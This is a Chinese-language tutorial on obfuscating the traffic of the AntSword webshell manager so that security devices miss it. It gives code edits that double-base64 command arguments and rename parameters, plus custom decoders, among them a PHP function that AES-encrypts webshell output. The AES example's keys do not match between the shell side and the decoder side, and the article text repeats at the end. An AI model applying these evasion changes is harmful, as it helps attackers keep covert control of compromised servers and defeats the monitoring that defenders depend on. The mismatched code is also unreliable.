关于对antSword(蚁剑)进行流量混淆处理的解决方案
字数 835 2025-08-26 22:11:34

AntSword(蚁剑)流量混淆处理方案详解

1. 前言

本文详细讲解如何对AntSword(蚁剑)进行流量混淆处理,以绕过安全设备的检测。主要针对请求包和返回包的混淆技术进行深入分析,并提供具体的实现方案。

2. 请求包混淆处理

2.1 原始编码器的问题

原始编码器采用自定义编码方式,示例代码如下:

module.exports = (pwd, data) => {
  // 生成随机变量名
  let num = Math.floor(Math.random() * 15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  
  // 将原有payload转为base64编码
  let encry = new Buffer(data['_']).toString('base64');
  data['num'] = 15 - num;
  
  // 构造最终payload
  data[pwd] = `${randomStr}` + encry + `${randomStr}`;
  
  // 删除原始payload
  delete data['_'];
  
  return data;
}

问题发现

  • 测试连接时编码器工作正常
  • 实际执行命令时,数据包会多出两个参数(arg1, arg2)
  • 这些额外参数不经过编码器处理,仅进行简单base64编码,容易被识别

2.2 解决方案

2.2.1 修改核心编码逻辑

  1. 定位文件:antSword-2.1.4/source/core/base.js
  2. 修改编码方式(示例改为双重base64):
    // 原始代码
    arg1: Buffer.from(cmd).toString('base64'),
    
    // 修改后
    arg1: Buffer.from(Buffer.from(cmd).toString('base64')).toString('base64'),
    

2.2.2 修改解码逻辑

  1. 定位文件:antSword-2.1.4/source/core/php/template/下的各功能JS文件
  2. 以command.js为例:
    // 原始解码
    let cmd = Buffer.from(body['arg1'], 'base64').toString();
    
    // 修改后解码
    let cmd = Buffer.from(Buffer.from(body['arg1'], 'base64').toString(), 'base64').toString();
    

注意

  • 仅需修改通过base64编码的参数
  • 未进行base64编码的参数(如filemanager.js中的部分参数)不需要修改

2.2.3 参数名混淆

  1. 定位文件:antSword-2.1.4/source/core/base.js
  2. 修改默认的0x开头参数名:
    // 原始参数名
    '0x' + Math.random().toString(16).substr(2),
    
    // 修改后参数名
    'param' + Math.random().toString(36).substr(2),
    

3. 返回包混淆处理

返回包混淆主要通过编写自定义解码器实现,需包含编码和解码两部分。

3.1 基础base64解码器示例

/**
 * php::base64解码器
 */
'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   */
  asoutput: () => {
    return `function asenc($out){ return @base64_encode($out); }`.replace(/\n\s+/g, '');
  },
  
  /**
   * 解码 Buffer
   */
  decode_buff: (data, ext = {}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

3.2 AES-128-ECB高级解码器示例

/**
 * php::AES-128-ECB 解码器
 */
'use strict';

const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));

function decryptText(keyStr, text) {
  let buff = Buffer.alloc(16, 'a');
  buff.write(keyStr, 0);
  keyStr = buff.toString();
  
  let decodetext = CryptoJS.AES.decrypt(
    text,
    CryptoJS.enc.Utf8.parse(keyStr),
    {
      mode: CryptoJS.mode.ECB,
      padding: CryptoJS.pad.Pkcs7,
    }
  ).toString(CryptoJS.enc.Utf8);
  
  return decodetext;
}

module.exports = {
  /**
   * 编码函数
   */
  asoutput: () => {
    return `function asenc($out){ 
      @session_start(); 
      $key='f5045b05abe6ec9b1e37fafa851f5de9'; 
      return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA)); 
    };`.replace(/\n\s+/g, '');
  },
  
  /**
   * 解码字符串
   */
  decode_str: (data) => {
    if (data.length === 0) return data;
    let keyStr = '1111111111111111';
    let ret = decryptText(keyStr, data);
    return Buffer.from(ret, 'base64').toString();
  },
  
  /**
   * 解码 Buffer
   */
  decode_buff: (data) => {
    if (data.length === 0) return data;
    let keyStr = '1111111111111111';
    let ret = decryptText(keyStr, Buffer.from(data).toString());
    return Buffer.from(ret, 'base64');
  }
}

4. 关键点总结

  1. 请求包混淆

    • 修改核心base.js中的编码逻辑
    • 同步修改各功能模板文件的解码逻辑
    • 混淆参数名避免特征检测
  2. 返回包混淆

    • 编写自定义解码器
    • 包含shell端编码和loader端解码两部分
    • 支持多种加密方式(如AES)
  3. 注意事项

    • 修改前后需保持编码/解码方式一致
    • 仅修改需要编码的参数
    • 测试所有功能确保正常工作

通过以上方法,可以有效混淆AntSword的流量特征,提高渗透测试的隐蔽性。

AntSword(蚁剑)流量混淆处理方案详解 1. 前言 本文详细讲解如何对AntSword(蚁剑)进行流量混淆处理,以绕过安全设备的检测。主要针对请求包和返回包的混淆技术进行深入分析,并提供具体的实现方案。 2. 请求包混淆处理 2.1 原始编码器的问题 原始编码器采用自定义编码方式,示例代码如下: 问题发现 : 测试连接时编码器工作正常 实际执行命令时,数据包会多出两个参数(arg1, arg2) 这些额外参数不经过编码器处理,仅进行简单base64编码,容易被识别 2.2 解决方案 2.2.1 修改核心编码逻辑 定位文件: antSword-2.1.4/source/core/base.js 修改编码方式(示例改为双重base64): 2.2.2 修改解码逻辑 定位文件: antSword-2.1.4/source/core/php/template/ 下的各功能JS文件 以command.js为例: 注意 : 仅需修改通过base64编码的参数 未进行base64编码的参数(如filemanager.js中的部分参数)不需要修改 2.2.3 参数名混淆 定位文件: antSword-2.1.4/source/core/base.js 修改默认的0x开头参数名: 3. 返回包混淆处理 返回包混淆主要通过编写自定义解码器实现,需包含编码和解码两部分。 3.1 基础base64解码器示例 3.2 AES-128-ECB高级解码器示例 4. 关键点总结 请求包混淆 : 修改核心base.js中的编码逻辑 同步修改各功能模板文件的解码逻辑 混淆参数名避免特征检测 返回包混淆 : 编写自定义解码器 包含shell端编码和loader端解码两部分 支持多种加密方式(如AES) 注意事项 : 修改前后需保持编码/解码方式一致 仅修改需要编码的参数 测试所有功能确保正常工作 通过以上方法,可以有效混淆AntSword的流量特征,提高渗透测试的隐蔽性。